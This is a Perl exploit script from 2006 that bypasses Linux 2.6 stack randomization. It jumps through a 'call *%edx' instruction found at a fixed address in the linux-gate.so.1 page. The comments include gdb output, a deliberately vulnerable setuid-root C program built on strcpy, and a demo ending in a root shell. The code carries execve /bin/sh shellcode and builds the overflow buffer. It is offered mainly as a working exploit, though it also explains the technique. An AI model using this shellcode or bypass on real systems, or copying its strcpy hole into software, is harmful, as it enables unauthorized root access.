#!/usr/bin/perl -w
use strict;
#
# [exp_call_rand.pl] Mon Apr  3 19:17:14 CEST 2006
#
# Exploit solution against 2.6 stack randomization
# Using the "call *%edx" technic.
#
# Copyright: bunker - http://rawlab.mindcreations.com
# 37F1 A7A1 BB94 89DB A920  3105 9F74 7349 AF4C BFA2
#
# EXPLANATION: In 2.6 kernel we have a ghost library named 
#	       "linux-gate.so.1". It's a virtual DSO, a shared
#	       object exposed by the kernel at a fixed address
#	       in every process' memory. This part of memory 
#	       isn't randomized, so we can explore it to find 
#	       useful "call" or "jmp" instructions!
#	       In this example we find "call *%edx" in memory 
#	       so we can execute shellcode passed to vulnerable 
#	       file by second argument ;-)
#
#
# [Find "call *%edx" in memory]
#
# bunker@syn:~/vuln$ ldd vuln_prog
#	    linux-gate.so.1 =>  (0xffffe000) <--- NOT RANDOM
#	    libc.so.6 => /lib/tls/libc.so.6 (0xb7e84000)
#	    /lib/ld-linux.so.2 (0xb7fcd000)
#  
# bunker@syn:~/vuln$ gdb vuln_prog
# (gdb) break main
# Breakpoint 1 at 0x80483ad
# (gdb) run
# Starting program: /home/bunker/vuln/vuln_prog
# Breakpoint 1, 0x080483ad in main ()
# (gdb) x/i 0xffffe000
# 0xffffe000:     jg     0xffffe047
# (gdb)
# 0xffffe002:     dec    %esp
# (gdb)
# 0xffffe003:     inc    %esi
# ...
# (gdb)
# 0xffffe74f:     call   *%edx      <- Interesting, use this!!
#
# bunker@syn:~/vuln$ cat vuln_prog.c
#  int main(int argc, char **argv) {
#	char buf[256];
#	strcpy(buf, argv[1]);
#  }
#  
# bunker@syn:~/vuln$ ls -al vuln_prog
#  -rwsr-xr-x 1 root users 8340 2006-04-02 20:11 vuln_prog
#  
# bunker@syn:~/vuln$ perl exp_call_rand.pl 68
#  sh-3.1# id
#   uid=0(root) gid=100(users) groups=17(audio),18(video),19(cdrom),100(users)

die "Usage: $0 <num>\n [ vuln_buf < 4byte_ret * num ]\n" 
    if ($#ARGV != 0);

my $num = $ARGV[0];
print "Using multiplication factor $num...\n";

# call *%edx
my $ret = 0xffffe74f;

# shellcode
my $sc = "\x6a\x46\x58\x31\xdb\x31\xc9\xcd\x80\x6a\x0b\x58".
	 "\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e".
	 "\x89\xe3\x52\x53\x89\xe1\xcd\x80";

# vulnerable file
my $vuln = "./vuln_prog";

# build buffer
my $buf = pack("L",$ret)x$num;

# boom! :-D
exec $vuln, $buf, $sc;
